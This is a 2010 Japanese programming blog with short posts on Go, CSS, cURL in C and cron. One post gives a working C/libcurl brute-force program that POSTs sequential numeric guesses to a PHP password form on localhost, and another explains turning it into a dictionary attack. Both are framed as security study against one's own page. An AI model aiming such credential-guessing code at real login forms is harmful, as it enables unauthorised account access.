ページ

2010年8月29日日曜日

[Google Go] 2.Hello Go World

このエントリーをはてなブックマークに追加

//==============================================
// hello.go (source)
//==============================================

package main
import "fmt"

func main(){
fmt.Printf("Hello Go World\n")
/* comment */
// comment
}

//==============================================
// compile (6g for x86 64bit)
//==============================================
6g hello.go
6l -o hello hello.6
./hello

//==============================================
// compile (8g for x86 32bit)
//==============================================
8g hello.go
8l -o hello hello.6
./hello

1.このプログラムではターミナルにHello Go Worldと出力されます。
2.fmt.Printfを使用するためにfmt packageをインポートしています。他の機能を使用したい場合は他のパッケージをインポートします。
3.funcというキーワードで関数を導入します。
4.main関数はいくつかの初期化の後に走り始めます。
5.Go言語のソースファイルはUTF-8(BOMなし)でエンコードするように定義されている。
6.注釈の取り決めはC++と同じです。
/* hoge hoge */
// hoge hoge
7.コンパイルはx86 64bit版のための6g, x86 32版のための8gがあります。

[Google Go] 1.Introduction

このエントリーをはてなブックマークに追加

[重要]
1.golang.orgに基づいて記載していきます。
2.Go言語についての3日間コースのPDF → Day1, Day2, Day3
3.Go言語の控えめなソースコード /doc/progs/

[注意]
1.windows環境はお勧めしません。(使用できないPackageが存在する)

[raisanaの実行環境]
Ubuntu 10.04

2010年7月6日火曜日

無料ホームページスペースの上部広告をCSSで消す。

このエントリーをはてなブックマークに追加

<style>
*{margin:0px; padding:0px;}
div#body{width:100%; position:absolute; top:0px; background-color:#FF0000;}
div#main_table{margin:auto; width:750px; height:1000px; background-color:#00FF00;}
</style>

<body>
<div id="body">
<div id="main_table"></div>
</div>
</body>

2010年6月25日金曜日

[C言語][cURL]辞書攻撃の例

このエントリーをはてなブックマークに追加

辞書攻撃とは?:
辞書に記載された単語を利用して特定文字列を推察する方法
wikipedia参照

1.辞書は自分で用意する。
例) Lyrycal Nanoha Fate
2.辞書にある単語を組み合わせる or 単体
例) LyrycalNanohaFate LyrycalNanoha Nanoha
3.前回の記事の変数iの中身を(2)で出来た単語に変える。

[C言語][cURL] 総当り攻撃(ブルートフォースアタック)の例

このエントリーをはてなブックマークに追加

総当り攻撃(ブルートフォースアタック)とは?:
暗号解読方法のひとつで、可能な組み合わせを全て試すやり方。wikipedia参照


注意:
1.ご自身のページにアタックしてくだい。
2.簡単な作りになっているため、ご自分のページに合うように調整してください。
3.絶対に悪用しないでください。セキュリティの勉強用です。

cURLライブラリの使い方等は過去の記事をご覧ください。





//====================================
// Auth.php
//====================================
<?php

if($_POST['Auth'] === "12345"){
print("A".$_POST['Auth']);
}

?>

<form action="Auth.php" method="post">
<input type="password" name="Auth">
<input type="submit" value="send">
</form>





//====================================
// brute_force_attack.c
//====================================
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<curl/curl.h>

int flag;

size_t func(void *, size_t, size_t, void *);



int main(void){

char post[256];
size_t i = 0;

CURL * curl;
CURLcode res;

flag = 0;

curl = curl_easy_init();

while(1){

usleep(100);

sprintf(post, "Auth=%u", i);

curl_easy_setopt(curl, CURLOPT_URL, "http://localhost/Auth.php");

/* POST METHOD Auth=[]を送る */
curl_easy_setopt(curl, CURLOPT_POST, 1L);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post);

/* CALLBACK */
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, func);

res = curl_easy_perform(curl);

printf("%u\r", i);

if(flag){
printf("\n");
break;
}

i++;
}

curl_easy_cleanup(curl);

return 0;
}



size_t func(void * ptr, size_t size, size_t nmemb, void * stream){

char str[65536];

memcpy(str, ptr, size * nmemb);

if(str[0] == 'A'){
flag = 1L;
return 0L;
}

return nmemb;
}

2010年6月22日火曜日

[C言語][cURL] 文字列を取り出す

このエントリーをはてなブックマークに追加

1.とりあえず文字列を取り出したい人用です。エラー処理は皆無です。エラー処理もしたい方は参考URLを参照してくだい。
2.C言語でcURLライブラリを使用したい方は[Ubuntu 10.04] C言語 cURLライブラリを使うを参照してくだい。


//================================================

#include<stdio.h>
// memcpy()
#include<string.h>
#include<curl/curl.h>

char buf[65536];
size_t po;

// fwrite or freadにそっくり
size_t func(void *, size_t, size_t, void *);

int main(void){

CURL * curl;
CURLcode res;

po = 0;

curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_URL, "http://localhost/www.yahoo.co.jp");
// CALLBACK
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, func);
res = curl_easy_perform(curl);
curl_easy_cleanup(curl);

// res(unsigned int) 0以外はErrorCode
if(!res){
printf("%s\n", buf);
}

return 0;
}

size_t func(void * ptr, size_t size, size_t nmemb, void * stream){

// debug用
// printf("%s", (char *)ptr);

memcpy(buf+po, ptr, size * nmemb);
po += size * nmemb;
*(buf + po) = '\0';

return nmemb;
}

//================================================


参考URL
libcurl - C API
cURL と libcurl を使ってインターネット経由でやりとりする

2010年6月20日日曜日

[Ubuntu 10.04][cron] 自動的にC言語プログラム(実行ファイル)読み込む注意点?

このエントリーをはてなブックマークに追加

//===============================================
// crontabをeditorで開く
//===============================================
sudo gedit /etc/crontab


//===============================================
// root権限でShellScriptを1分毎に実行
//===============================================
# m h dom mon dow user command
# [user name]は存在する名前に変更してください。
00-59 * * * * root sh /home/[user name]/test.sh


//===============================================
// test.sh (Cファイルのコンパイル and 実行)
//===============================================
#!/bin/sh
# [user name]は存在する名前に変更してください。
gcc -o /home/[user name]/test /home/[user name]/test.c
/home/[user name]/./test


//===============================================
// test.c
//
// while()内でprintf()関数を使用したところ動作に不具合が生じました。
// debug用に付ける出力関数はコメントアウトすべき!?
//
// コンパイルする際はfopen()関数第1引数[user name]を存在する名前変更してください。
//===============================================
#include<stdio.h>
// strlen()
#include<string.h>
// time()
#include<time.h>
// usleep()
#include<unistd.h>

int main(void){

FILE * fp;
char data[256] = "TEST ";
time_t timer;
size_t t;

t = time(&timer);
// [user name]を変更してください。
fp = fopen("/home/[user name]/conf", "wb");

while(1){

// コメントアウトしないと不具合が起こる?
// printf("debug用");

fwrite(data, 1, strlen(data), fp);

// プロセス渡し
usleep(100);

if(t + 10 <= time(&timer)){
break;
}
}

fclose(fp);

return 0;
}